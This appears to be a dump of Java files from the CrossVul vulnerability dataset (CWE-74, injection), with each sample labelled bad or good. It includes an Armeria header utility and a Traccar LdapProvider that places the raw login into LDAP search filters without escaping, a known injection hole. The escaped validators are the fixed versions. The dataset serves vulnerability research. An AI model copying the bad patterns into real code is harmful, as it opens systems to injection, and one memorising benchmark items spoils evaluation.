toHttp2HeadersFilterTE(entry, out);
continue;
}
// Cookies must be concatenated into a single octet string.
// https://tools.ietf.org/html/rfc7540#section-8.1.2.5
final CharSequence value = entry.getValue();
if (aName.equals(HttpHeaderNames.COOKIE)) {
if (cookieJoiner == null) {
cookieJoiner = new StringJoiner(COOKIE_SEPARATOR);
}
COOKIE_SPLITTER.split(value).forEach(cookieJoiner::add);
} else {
out.add(aName, convertHeaderValue(aName, value));
}
}
if (cookieJoiner != null && cookieJoiner.length() != 0) {
out.add(HttpHeaderNames.COOKIE, cookieJoiner.toString());
}
}
private static CharSequenceMap toLowercaseMap(Iterator<? extends CharSequence> valuesIter,
int arraySizeHint) {
final CharSequenceMap result = new CharSequenceMap(arraySizeHint);
while (valuesIter.hasNext()) {
final AsciiString lowerCased = HttpHeaderNames.of(valuesIter.next()).toLowerCase();
try {
int index = lowerCased.forEachByte(FIND_COMMA);
if (index != -1) {
int start = 0;
do {
result.add(lowerCased.subSequence(start, index, false).trim(), EMPTY_STRING);
start = index + 1;
} while (start < lowerCased.length() &&
(index = lowerCased.forEachByte(start,
lowerCased.length() - start, FIND_COMMA)) != -1);
result.add(lowerCased.subSequence(start, lowerCased.length(), false).trim(), EMPTY_STRING);
} else {
result.add(lowerCased.trim(), EMPTY_STRING);
}
} catch (Exception e) {
// This is not expect to happen because FIND_COMMA never throws but must be caught
// because of the ByteProcessor interface.
throw new IllegalStateException(e);
}
}
return result;
}
/**
* Filter the {@link HttpHeaderNames#TE} header according to the
* <a href="https://tools.ietf.org/html/rfc7540#section-8.1.2.2">special rules in the HTTP/2 RFC</a>.
* @param entry An entry whose name is {@link HttpHeaderNames#TE}.
* @param out the resulting HTTP/2 headers.
*/
private static void toHttp2HeadersFilterTE(Entry<CharSequence, CharSequence> entry,
HttpHeadersBuilder out) {
if (AsciiString.indexOf(entry.getValue(), ',', 0) == -1) {
if (AsciiString.contentEqualsIgnoreCase(AsciiString.trim(entry.getValue()),
HttpHeaderValues.TRAILERS)) {
out.add(HttpHeaderNames.TE, HttpHeaderValues.TRAILERS.toString());
}
} else {
final List<CharSequence> teValues = StringUtil.unescapeCsvFields(entry.getValue());
for (CharSequence teValue : teValues) {
if (AsciiString.contentEqualsIgnoreCase(AsciiString.trim(teValue),
HttpHeaderValues.TRAILERS)) {
out.add(HttpHeaderNames.TE, HttpHeaderValues.TRAILERS.toString());
break;
}
}
}
}
private static URI toUri(HttpRequest in) throws URISyntaxException {
final String uri = in.uri();
if (uri.startsWith("//")) {
// Normalize the path that starts with more than one slash into the one with a single slash,
// so that java.net.URI does not raise a URISyntaxException.
for (int i = 0; i < uri.length(); i++) {
if (uri.charAt(i) != '/') {
return new URI(uri.substring(i - 1));
}
}
return ROOT;
} else {
return new URI(uri);
}
}
/**
* Generate a HTTP/2 {code :path} from a URI in accordance with
* <a href="https://tools.ietf.org/html/rfc7230#section-5.3">rfc7230, 5.3</a>.
*/
private static String toHttp2Path(URI uri) {
final StringBuilder pathBuilder = new StringBuilder(
length(uri.getRawPath()) + length(uri.getRawQuery()) + length(uri.getRawFragment()) + 2);
if (!isNullOrEmpty(uri.getRawPath())) {
pathBuilder.append(uri.getRawPath());
}
if (!isNullOrEmpty(uri.getRawQuery())) {
pathBuilder.append('?');
pathBuilder.append(uri.getRawQuery());
}
if (!isNullOrEmpty(uri.getRawFragment())) {
pathBuilder.append('#');
pathBuilder.append(uri.getRawFragment());
}
return pathBuilder.length() != 0 ? pathBuilder.toString() : EMPTY_REQUEST_PATH;
}
@VisibleForTesting
static void addHttp2Authority(@Nullable String authority, RequestHeadersBuilder out) {
// The authority MUST NOT include the deprecated "userinfo" subcomponent
if (authority != null) {
final String actualAuthority;
if (authority.isEmpty()) {
actualAuthority = "";
} else {
final int start = authority.indexOf('@') + 1;
if (start == 0) {
actualAuthority = authority;
} else if (authority.length() == start) {
throw new IllegalArgumentException("authority: " + authority);
} else {
actualAuthority = authority.substring(start);
}
}
out.add(HttpHeaderNames.AUTHORITY, actualAuthority);
}
}
private static void addHttp2Scheme(io.netty.handler.codec.http.HttpHeaders in, URI uri,
RequestHeadersBuilder out) {
final String value = uri.getScheme();
if (value != null) {
out.add(HttpHeaderNames.SCHEME, value);
return;
}
// Consume the Scheme extension header if present
final CharSequence cValue = in.get(ExtensionHeaderNames.SCHEME.text());
if (cValue != null) {
out.add(HttpHeaderNames.SCHEME, cValue.toString());
} else {
out.add(HttpHeaderNames.SCHEME, "unknown");
}
}
/**
* Converts the specified Armeria HTTP/2 headers into Netty HTTP/2 headers.
*/
public static Http2Headers toNettyHttp2(HttpHeaders in, boolean server) {
final Http2Headers out = new DefaultHttp2Headers(false, in.size());
// Trailers if it does not have :status.
if (server && !in.contains(HttpHeaderNames.STATUS)) {
for (Entry<AsciiString, String> entry : in) {
final AsciiString name = entry.getKey();
final String value = entry.getValue();
if (name.isEmpty() || isTrailerBlacklisted(name)) {
continue;
}
out.add(name, value);
}
} else {
in.forEach((BiConsumer<AsciiString, String>) out::add);
out.remove(HttpHeaderNames.CONNECTION);
out.remove(HttpHeaderNames.TRANSFER_ENCODING);
}
if (!out.contains(HttpHeaderNames.COOKIE)) {
return out;
}
// Split up cookies to allow for better compression.
// https://tools.ietf.org/html/rfc7540#section-8.1.2.5
final List<CharSequence> cookies = out.getAllAndRemove(HttpHeaderNames.COOKIE);
for (CharSequence c : cookies) {
out.add(HttpHeaderNames.COOKIE, COOKIE_SPLITTER.split(c));
}
return out;
}
/**
* Translate and add HTTP/2 headers to HTTP/1.x headers.
*
* @param streamId The stream associated with {@code sourceHeaders}.
* @param inputHeaders The HTTP/2 headers to convert.
* @param outputHeaders The object which will contain the resulting HTTP/1.x headers..
* @param httpVersion What HTTP/1.x version {@code outputHeaders} should be treated as
* when doing the conversion.
* @param isTrailer {@code true} if {@code outputHeaders} should be treated as trailers.
* {@code false} otherwise.
* @param isRequest {@code true} if the {@code outputHeaders} will be used in a request message.
* {@code false} for response message.
*
* @throws Http2Exception If not all HTTP/2 headers can be translated to HTTP/1.x.
*/
public static void toNettyHttp1(
int streamId, HttpHeaders inputHeaders, io.netty.handler.codec.http.HttpHeaders outputHeaders,
HttpVersion httpVersion, boolean isTrailer, boolean isRequest) throws Http2Exception {
final CharSequenceMap translations = isRequest ? REQUEST_HEADER_TRANSLATIONS
: RESPONSE_HEADER_TRANSLATIONS;
StringJoiner cookieJoiner = null;
try {
for (Entry<AsciiString, String> entry : inputHeaders) {
final AsciiString name = entry.getKey();
final String value = entry.getValue();
final AsciiString translatedName = translations.get(name);
if (translatedName != null && !inputHeaders.contains(translatedName)) {
outputHeaders.add(translatedName, value);
continue;
}
if (name.isEmpty() || HTTP2_TO_HTTP_HEADER_BLACKLIST.contains(name)) {
continue;
}
if (isTrailer && isTrailerBlacklisted(name)) {
continue;
}
if (HttpHeaderNames.COOKIE.equals(name)) {
// combine the cookie values into 1 header entry.
// https://tools.ietf.org/html/rfc7540#section-8.1.2.5
if (cookieJoiner == null) {
cookieJoiner = new StringJoiner(COOKIE_SEPARATOR);
}
COOKIE_SPLITTER.split(value).forEach(cookieJoiner::add);
} else {
outputHeaders.add(name, value);
}
}
if (cookieJoiner != null && cookieJoiner.length() != 0) {
outputHeaders.add(HttpHeaderNames.COOKIE, cookieJoiner.toString());
}
} catch (Throwable t) {
throw streamError(streamId, PROTOCOL_ERROR, t, "HTTP/2 to HTTP/1.x headers conversion error");
}
if (!isTrailer) {
HttpUtil.setKeepAlive(outputHeaders, httpVersion, true);
}
}
/**
* Returns a {@link ResponseHeaders} whose {@link HttpHeaderNames#CONTENT_LENGTH} is added or removed
* according to the status of the specified {@code headers}, {@code content} and {@code trailers}.
* The {@link HttpHeaderNames#CONTENT_LENGTH} is removed when:
* <ul>
* <li>the status of the specified {@code headers} is one of informational headers,
* {@link HttpStatus#NO_CONTENT} or {@link HttpStatus#RESET_CONTENT}</li>
* <li>the trailers exists</li>
* </ul>
* The {@link HttpHeaderNames#CONTENT_LENGTH} is added when the state of the specified {@code headers}
* does not meet the conditions above and {@link HttpHeaderNames#CONTENT_LENGTH} is not present
* regardless of the fact that the content is empty or not.
*
* @throws IllegalArgumentException if the specified {@code content} or {@code trailers} are
* non-empty when the content is always empty
*/
public static ResponseHeaders setOrRemoveContentLength(ResponseHeaders headers, HttpData content,
HttpHeaders trailers) {
requireNonNull(headers, "headers");
requireNonNull(content, "content");
requireNonNull(trailers, "trailers");
final HttpStatus status = headers.status();
if (isContentAlwaysEmptyWithValidation(status, content, trailers)) {
if (status != HttpStatus.NOT_MODIFIED) {
if (headers.contains(HttpHeaderNames.CONTENT_LENGTH)) {
final ResponseHeadersBuilder builder = headers.toBuilder();
builder.remove(HttpHeaderNames.CONTENT_LENGTH);
return builder.build();
}
} else {
// 304 response can have the "content-length" header when it is a response to a conditional
// GET request. See https://tools.ietf.org/html/rfc7230#section-3.3.2
}
return headers;
}
if (!trailers.isEmpty()) {
// Some of the client implementations such as "curl" ignores trailers if
// the "content-length" header is present. We should not set "content-length" header when
// trailers exists so that those clients can receive the trailers.
// The response is sent using chunked transfer encoding in HTTP/1 or a DATA frame payload
// in HTTP/2, so it's no worry.
if (headers.contains(HttpHeaderNames.CONTENT_LENGTH)) {
final ResponseHeadersBuilder builder = headers.toBuilder();
builder.remove(HttpHeaderNames.CONTENT_LENGTH);
return builder.build();
}
return headers;
}
if (!headers.contains(HttpHeaderNames.CONTENT_LENGTH) || !content.isEmpty()) {
return headers.toBuilder()
.setInt(HttpHeaderNames.CONTENT_LENGTH, content.length())
.build();
}
// The header contains "content-length" header and the content is empty.
// Do not overwrite the header because a response to a HEAD request
// will have no content even if it has non-zero content-length header.
return headers;
}
private static String convertHeaderValue(AsciiString name, CharSequence value) {
if (!(value instanceof AsciiString)) {
return value.toString();
}
if (HEADER_VALUE_CACHE != null && CACHED_HEADERS.contains(name)) {
final String converted = HEADER_VALUE_CACHE.get((AsciiString) value);
assert converted != null; // loader does not return null.
return converted;
}
return value.toString();
}
/**
* Returns {@code true} if the specified header name is not allowed for HTTP tailers.
*/
public static boolean isTrailerBlacklisted(AsciiString name) {
return HTTP_TRAILER_BLACKLIST.contains(name);
}
private static final class CharSequenceMap
extends DefaultHeaders<AsciiString, AsciiString, CharSequenceMap> {
CharSequenceMap() {
super(HTTP2_HEADER_NAME_HASHER, UnsupportedValueConverter.instance());
}
@SuppressWarnings("unchecked")
CharSequenceMap(int size) {
super(HTTP2_HEADER_NAME_HASHER, UnsupportedValueConverter.instance(), NameValidator.NOT_NULL, size);
}
}
private ArmeriaHttpUtil() {}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1112_2
|
crossvul-java_data_good_4390_3
|
package com.browserup.bup.rest.validation;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import javax.validation.Constraint;
import javax.validation.ConstraintValidator;
import javax.validation.ConstraintValidatorContext;
import javax.validation.Payload;
import javax.ws.rs.core.Context;
import com.browserup.bup.proxy.ProxyManager;
import com.browserup.bup.rest.validation.util.MessageSanitizer;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = { PortWithExistingProxyConstraint.PortWithExistingProxyConstraintValidator.class })
public @interface PortWithExistingProxyConstraint {
String message() default "";
String paramName() default "port";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
class PortWithExistingProxyConstraintValidator
implements ConstraintValidator<PortWithExistingProxyConstraint, Integer> {
private static final Logger LOG = LoggerFactory.getLogger(PortWithExistingProxyConstraintValidator.class);
private static final String PARAM_NAME = "proxy port";
private final ProxyManager proxyManager;
public PortWithExistingProxyConstraintValidator(@Context ProxyManager proxyManager) {
this.proxyManager = proxyManager;
}
@Override
public void initialize(PortWithExistingProxyConstraint constraintAnnotation) {
}
@Override
public boolean isValid(Integer value, ConstraintValidatorContext context) {
if (proxyManager.get(value) != null) {
return true;
}
String escapedValue = MessageSanitizer.escape(value.toString());
String errorMessage = String.format("No proxy server found for specified port %s", escapedValue);
LOG.warn(errorMessage);
context.buildConstraintViolationWithTemplate(errorMessage).addPropertyNode(PARAM_NAME).addConstraintViolation();
return false;
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_4390_3
|
crossvul-java_data_good_4390_1
|
package com.browserup.bup.rest.validation;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import javax.validation.Constraint;
import javax.validation.ConstraintValidator;
import javax.validation.ConstraintValidatorContext;
import javax.validation.Payload;
import com.browserup.bup.rest.validation.util.MessageSanitizer;
import org.apache.commons.lang3.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = { NotBlankConstraint.NotBlankValidator.class })
public @interface NotBlankConstraint {
String message() default "";
String paramName() default "";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
class NotBlankValidator implements ConstraintValidator<NotBlankConstraint, Object> {
private static final Logger LOG = LoggerFactory.getLogger(NotBlankValidator.class);
@Override
public void initialize(NotBlankConstraint constraintAnnotation) {
}
@Override
public boolean isValid(Object value, ConstraintValidatorContext context) {
if (value != null && StringUtils.isNotEmpty(String.valueOf(value))) {
return true;
}
String escapedValue = MessageSanitizer.escape(value == null ? null : value.toString());
String errorMessage = String.format("Expected not empty value, got '%s'", escapedValue);
LOG.warn(errorMessage);
context.buildConstraintViolationWithTemplate(errorMessage).addConstraintViolation();
return false;
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_4390_1
|
crossvul-java_data_good_1899_0
|
package io.onedev.server.migration;
import java.beans.IntrospectionException;
import java.beans.PropertyDescriptor;
import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Iterator;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.hibernate.proxy.HibernateProxyHelper;
import org.yaml.snakeyaml.DumperOptions;
import org.yaml.snakeyaml.DumperOptions.FlowStyle;
import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.constructor.Constructor;
import org.yaml.snakeyaml.emitter.Emitter;
import org.yaml.snakeyaml.introspector.BeanAccess;
import org.yaml.snakeyaml.introspector.MethodProperty;
import org.yaml.snakeyaml.introspector.Property;
import org.yaml.snakeyaml.introspector.PropertyUtils;
import org.yaml.snakeyaml.nodes.MappingNode;
import org.yaml.snakeyaml.nodes.Node;
import org.yaml.snakeyaml.nodes.NodeTuple;
import org.yaml.snakeyaml.nodes.ScalarNode;
import org.yaml.snakeyaml.nodes.Tag;
import org.yaml.snakeyaml.representer.Representer;
import org.yaml.snakeyaml.resolver.Resolver;
import org.yaml.snakeyaml.serializer.Serializer;
import edu.emory.mathcs.backport.java.util.Collections;
import io.onedev.commons.launcher.loader.ImplementationRegistry;
import io.onedev.commons.utils.ClassUtils;
import io.onedev.server.GeneralException;
import io.onedev.server.OneDev;
import io.onedev.server.util.BeanUtils;
import io.onedev.server.web.editable.annotation.Editable;
public class VersionedYamlDoc extends MappingNode {
public VersionedYamlDoc(MappingNode wrapped) {
super(wrapped.getTag(), wrapped.getValue(), wrapped.getFlowStyle());
}
public static VersionedYamlDoc fromYaml(String yaml) {
return new VersionedYamlDoc((MappingNode) new OneYaml().compose(new StringReader(yaml)));
}
@SuppressWarnings("unchecked")
public <T> T toBean(Class<T> beanClass) {
setTag(new Tag(beanClass));
if (getVersion() != null) {
try {
MigrationHelper.migrate(getVersion(), beanClass.newInstance(), this);
removeVersion();
} catch (InstantiationException | IllegalAccessException e) {
throw new RuntimeException(e);
}
}
return (T) new OneYaml().construct(this);
}
public static VersionedYamlDoc fromBean(Object bean) {
VersionedYamlDoc doc = new VersionedYamlDoc((MappingNode) new OneYaml().represent(bean));
doc.setVersion(MigrationHelper.getVersion(HibernateProxyHelper.getClassWithoutInitializingProxy(bean)));
return doc;
}
private String getVersion() {
for (NodeTuple tuple: getValue()) {
ScalarNode keyNode = (ScalarNode) tuple.getKeyNode();
if (keyNode.getValue().equals("version"))
return ((ScalarNode)tuple.getValueNode()).getValue();
}
throw new GeneralException("Unable to find version");
}
private void removeVersion() {
for (Iterator<NodeTuple> it = getValue().iterator(); it.hasNext();) {
ScalarNode keyNode = (ScalarNode) it.next().getKeyNode();
if (keyNode.getValue().equals("version"))
it.remove();
}
}
private void setVersion(String version) {
ScalarNode versionNode = null;
for (NodeTuple tuple: getValue()) {
ScalarNode keyNode = (ScalarNode) tuple.getKeyNode();
if (keyNode.getValue().equals("version")) {
((ScalarNode) tuple.getValueNode()).setValue(version);
break;
}
}
if (versionNode == null) {
ScalarNode keyNode = new ScalarNode(Tag.STR, "version", null, null, DumperOptions.ScalarStyle.PLAIN);
versionNode = new ScalarNode(Tag.INT, version, null, null, DumperOptions.ScalarStyle.PLAIN);
getValue().add(0, new NodeTuple(keyNode, versionNode));
}
}
public String toYaml() {
StringWriter writer = new StringWriter();
DumperOptions dumperOptions = new DumperOptions();
Serializer serializer = new Serializer(new Emitter(writer, dumperOptions),
new Resolver(), dumperOptions, Tag.MAP);
try {
serializer.open();
serializer.serialize(this);
serializer.close();
return writer.toString();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
private static class OneConstructor extends Constructor {
public Object construct(Node node) {
return constructDocument(node);
}
@Override
protected Class<?> getClassForNode(Node node) {
if (node instanceof VersionedYamlDoc) {
return super.getClassForNode(node);
} else {
Class<?> type = node.getType();
if (type.getAnnotation(Editable.class) == null) {
// Do not deserialize unknown classes to avoid security vulnerabilities
throw new IllegalStateException(String.format("Unexpected yaml node (type: %s, tag: %s)",
type, node.getTag()));
} else {
if (!ClassUtils.isConcrete(type)) {
ImplementationRegistry registry = OneDev.getInstance(ImplementationRegistry.class);
for (Class<?> implementationClass: registry.getImplementations(node.getType())) {
String implementationTag = new Tag("!" + implementationClass.getSimpleName()).getValue();
if (implementationTag.equals(node.getTag().getValue()))
return implementationClass;
}
}
return super.getClassForNode(node);
}
}
}
}
private static class OneYaml extends Yaml {
OneYaml() {
super(newConstructor(), newRepresenter());
/*
* Use property here as yaml will be read by human and we want to make
* it consistent with presented in UI
*/
setBeanAccess(BeanAccess.PROPERTY);
}
private static Representer newRepresenter() {
Representer representer = new Representer() {
@SuppressWarnings("rawtypes")
@Override
protected NodeTuple representJavaBeanProperty(Object javaBean, Property property,
Object propertyValue,Tag customTag) {
if (propertyValue == null
|| propertyValue instanceof Collection && ((Collection) propertyValue).isEmpty()
|| propertyValue instanceof Map && ((Map) propertyValue).isEmpty()) {
return null;
} else {
return super.representJavaBeanProperty(javaBean, property, propertyValue, customTag);
}
}
};
representer.setDefaultFlowStyle(FlowStyle.BLOCK);
representer.setPropertyUtils(new PropertyUtils() {
@Override
protected Set<Property> createPropertySet(Class<? extends Object> type, BeanAccess bAccess) {
List<Property> properties = new ArrayList<>();
Map<String, Integer> orders = new HashMap<>();
if (type.getAnnotation(Editable.class) != null) {
for (Method getter: BeanUtils.findGetters(type)) {
Editable editable = getter.getAnnotation(Editable.class);
Method setter = BeanUtils.findSetter(getter);
if (editable != null && setter != null) {
String propertyName = BeanUtils.getPropertyName(getter);
try {
properties.add(new MethodProperty(new PropertyDescriptor(propertyName, getter, setter)));
} catch (IntrospectionException e) {
throw new RuntimeException(e);
}
orders.put(propertyName, editable.order());
}
}
}
Collections.sort(properties, new Comparator<Property>() {
@Override
public int compare(Property o1, Property o2) {
return orders.get(o1.getName()) - orders.get(o2.getName());
}
});
return new LinkedHashSet<>(properties);
}
});
return representer;
}
private static OneConstructor newConstructor() {
return new OneConstructor();
}
public Object construct(Node node) {
return ((OneConstructor)constructor).construct(node);
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_1899_0
|
crossvul-java_data_good_3891_3
|
package io.dropwizard.validation.selfvalidating;
import org.hibernate.validator.constraintvalidation.HibernateConstraintValidatorContext;
import javax.annotation.Nullable;
import javax.validation.ConstraintValidatorContext;
import java.util.Collections;
import java.util.Map;
import static io.dropwizard.validation.InterpolationHelper.escapeMessageParameter;
/**
* This class is a simple wrapper around the ConstraintValidatorContext of hibernate validation.
* It collects all the violations of the SelfValidation methods of an object.
*/
public class ViolationCollector {
private final ConstraintValidatorContext constraintValidatorContext;
private final boolean escapeExpressions;
private boolean violationOccurred = false;
public ViolationCollector(ConstraintValidatorContext constraintValidatorContext) {
this(constraintValidatorContext, true);
}
public ViolationCollector(ConstraintValidatorContext constraintValidatorContext, boolean escapeExpressions) {
this.constraintValidatorContext = constraintValidatorContext;
this.escapeExpressions = escapeExpressions;
}
/**
* Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.
* <p>
* Prefer the method with explicit message parameters if you want to interpolate the message.
*
* @param message the message of the violation
* @see #addViolation(String, Map)
*/
public void addViolation(String message) {
addViolation(message, Collections.emptyMap());
}
/**
* Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.
*
* @param message the message of the violation
* @param messageParameters a map of message parameters which can be interpolated in the violation message
* @since 2.0.3
*/
public void addViolation(String message, Map<String, Object> messageParameters) {
violationOccurred = true;
getContextWithMessageParameters(messageParameters)
.buildConstraintViolationWithTemplate(sanitizeTemplate(message))
.addConstraintViolation();
}
/**
* Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.
* <p>
* Prefer the method with explicit message parameters if you want to interpolate the message.
*
* @param propertyName the name of the property
* @param message the message of the violation
* @see #addViolation(String, String, Map)
* @since 2.0.2
*/
public void addViolation(String propertyName, String message) {
addViolation(propertyName, message, Collections.emptyMap());
}
/**
* Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.
*
* @param propertyName the name of the property
* @param message the message of the violation
* @param messageParameters a map of message parameters which can be interpolated in the violation message
* @since 2.0.3
*/
public void addViolation(String propertyName, String message, Map<String, Object> messageParameters) {
violationOccurred = true;
getContextWithMessageParameters(messageParameters)
.buildConstraintViolationWithTemplate(sanitizeTemplate(message))
.addPropertyNode(propertyName)
.addConstraintViolation();
}
/**
* Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.
* Prefer the method with explicit message parameters if you want to interpolate the message.
*
* @param propertyName the name of the property with the violation
* @param index the index of the element with the violation
* @param message the message of the violation (any EL expression will be escaped and not parsed)
* @see ViolationCollector#addViolation(String, Integer, String, Map)
* @since 2.0.2
*/
public void addViolation(String propertyName, Integer index, String message) {
addViolation(propertyName, index, message, Collections.emptyMap());
}
/**
* Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.
*
* @param propertyName the name of the property with the violation
* @param index the index of the element with the violation
* @param message the message of the violation
* @param messageParameters a map of message parameters which can be interpolated in the violation message
* @since 2.0.3
*/
public void addViolation(String propertyName, Integer index, String message, Map<String, Object> messageParameters) {
violationOccurred = true;
getContextWithMessageParameters(messageParameters)
.buildConstraintViolationWithTemplate(sanitizeTemplate(message))
.addPropertyNode(propertyName)
.addBeanNode().inIterable().atIndex(index)
.addConstraintViolation();
}
/**
* Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.
*
* @param propertyName the name of the property with the violation
* @param key the key of the element with the violation
* @param message the message of the violation
* @since 2.0.2
*/
public void addViolation(String propertyName, String key, String message) {
addViolation(propertyName, key, message, Collections.emptyMap());
}
/**
* Adds a new violation to this collector. This also sets {@code violationOccurred} to {@code true}.
*
* @param propertyName the name of the property with the violation
* @param key the key of the element with the violation
* @param message the message of the violation
* @param messageParameters a map of message parameters which can be interpolated in the violation message
* @since 2.0.3
*/
public void addViolation(String propertyName, String key, String message, Map<String, Object> messageParameters) {
violationOccurred = true;
final String messageTemplate = sanitizeTemplate(message);
final HibernateConstraintValidatorContext context = getContextWithMessageParameters(messageParameters);
context.buildConstraintViolationWithTemplate(messageTemplate)
.addPropertyNode(propertyName)
.addBeanNode().inIterable().atKey(key)
.addConstraintViolation();
}
private HibernateConstraintValidatorContext getContextWithMessageParameters(Map<String, Object> messageParameters) {
final HibernateConstraintValidatorContext context =
constraintValidatorContext.unwrap(HibernateConstraintValidatorContext.class);
for (Map.Entry<String, Object> messageParameter : messageParameters.entrySet()) {
final Object value = messageParameter.getValue();
final String escapedValue = value == null ? null : escapeMessageParameter(value.toString());
context.addMessageParameter(messageParameter.getKey(), escapedValue);
}
return context;
}
@Nullable
private String sanitizeTemplate(@Nullable String message) {
return escapeExpressions ? escapeMessageParameter(message) : message;
}
/**
* This method returns the wrapped context for raw access to the validation framework. If you use
* the context to add violations make sure to call <code>setViolationOccurred(true)</code>.
*
* @return the wrapped Hibernate ConstraintValidatorContext
*/
public ConstraintValidatorContext getContext() {
return constraintValidatorContext;
}
/**
* @return if any violation was collected
*/
public boolean hasViolationOccurred() {
return violationOccurred;
}
/**
* Manually sets if a violation occurred. This is automatically set if <code>addViolation</code> is called.
*
* @param violationOccurred if any violation was collected
*/
public void setViolationOccurred(boolean violationOccurred) {
this.violationOccurred = violationOccurred;
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_3891_3
|
crossvul-java_data_bad_4549_0
|
/*
* Copyright 2017 Anton Tananaev (anton@traccar.org)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.traccar.database;
import javax.naming.Context;
import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
import javax.naming.directory.Attribute;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.SearchControls;
import javax.naming.directory.SearchResult;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.traccar.config.Config;
import org.traccar.model.User;
import java.util.Hashtable;
public class LdapProvider {
private static final Logger LOGGER = LoggerFactory.getLogger(LdapProvider.class);
private String url;
private String searchBase;
private String idAttribute;
private String nameAttribute;
private String mailAttribute;
private String searchFilter;
private String adminFilter;
private String serviceUser;
private String servicePassword;
public LdapProvider(Config config) {
String url = config.getString("ldap.url");
if (url != null) {
this.url = url;
} else {
this.url = "ldap://" + config.getString("ldap.server") + ":" + config.getInteger("ldap.port", 389);
}
this.searchBase = config.getString("ldap.base");
this.idAttribute = config.getString("ldap.idAttribute", "uid");
this.nameAttribute = config.getString("ldap.nameAttribute", "cn");
this.mailAttribute = config.getString("ldap.mailAttribute", "mail");
this.searchFilter = config.getString("ldap.searchFilter", "(" + idAttribute + "=:login)");
String adminGroup = config.getString("ldap.adminGroup");
this.adminFilter = config.getString("ldap.adminFilter");
if (this.adminFilter == null && adminGroup != null) {
this.adminFilter = "(&(" + idAttribute + "=:login)(memberOf=" + adminGroup + "))";
}
this.serviceUser = config.getString("ldap.user");
this.servicePassword = config.getString("ldap.password");
}
private InitialDirContext auth(String accountName, String password) throws NamingException {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, url);
env.put(Context.SECURITY_AUTHENTICATION, "simple");
env.put(Context.SECURITY_PRINCIPAL, accountName);
env.put(Context.SECURITY_CREDENTIALS, password);
return new InitialDirContext(env);
}
private boolean isAdmin(String accountName) {
if (this.adminFilter != null) {
try {
InitialDirContext context = initContext();
String searchString = adminFilter.replace(":login", accountName);
SearchControls searchControls = new SearchControls();
searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);
NamingEnumeration<SearchResult> results = context.search(searchBase, searchString, searchControls);
if (results.hasMoreElements()) {
results.nextElement();
if (results.hasMoreElements()) {
LOGGER.warn("Matched multiple users for the accountName: " + accountName);
return false;
}
return true;
}
} catch (NamingException e) {
return false;
}
}
return false;
}
public InitialDirContext initContext() throws NamingException {
return auth(serviceUser, servicePassword);
}
private SearchResult lookupUser(String accountName) throws NamingException {
InitialDirContext context = initContext();
String searchString = searchFilter.replace(":login", accountName);
SearchControls searchControls = new SearchControls();
String[] attributeFilter = {idAttribute, nameAttribute, mailAttribute};
searchControls.setReturningAttributes(attributeFilter);
searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);
NamingEnumeration<SearchResult> results = context.search(searchBase, searchString, searchControls);
SearchResult searchResult = null;
if (results.hasMoreElements()) {
searchResult = results.nextElement();
if (results.hasMoreElements()) {
LOGGER.warn("Matched multiple users for the accountName: " + accountName);
return null;
}
}
return searchResult;
}
public User getUser(String accountName) {
SearchResult ldapUser;
User user = new User();
try {
ldapUser = lookupUser(accountName);
if (ldapUser != null) {
Attribute attribute = ldapUser.getAttributes().get(idAttribute);
if (attribute != null) {
user.setLogin((String) attribute.get());
} else {
user.setLogin(accountName);
}
attribute = ldapUser.getAttributes().get(nameAttribute);
if (attribute != null) {
user.setName((String) attribute.get());
} else {
user.setName(accountName);
}
attribute = ldapUser.getAttributes().get(mailAttribute);
if (attribute != null) {
user.setEmail((String) attribute.get());
} else {
user.setEmail(accountName);
}
}
user.setAdministrator(isAdmin(accountName));
} catch (NamingException e) {
user.setLogin(accountName);
user.setName(accountName);
user.setEmail(accountName);
LOGGER.warn("User lookup error", e);
}
return user;
}
public boolean login(String username, String password) {
try {
SearchResult ldapUser = lookupUser(username);
if (ldapUser != null) {
auth(ldapUser.getNameInNamespace(), password).close();
return true;
}
} catch (NamingException e) {
return false;
}
return false;
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4549_0
|
crossvul-java_data_bad_1898_0
|
package io.onedev.server.model.support.inputspec;
import java.io.Serializable;
import java.util.Collection;
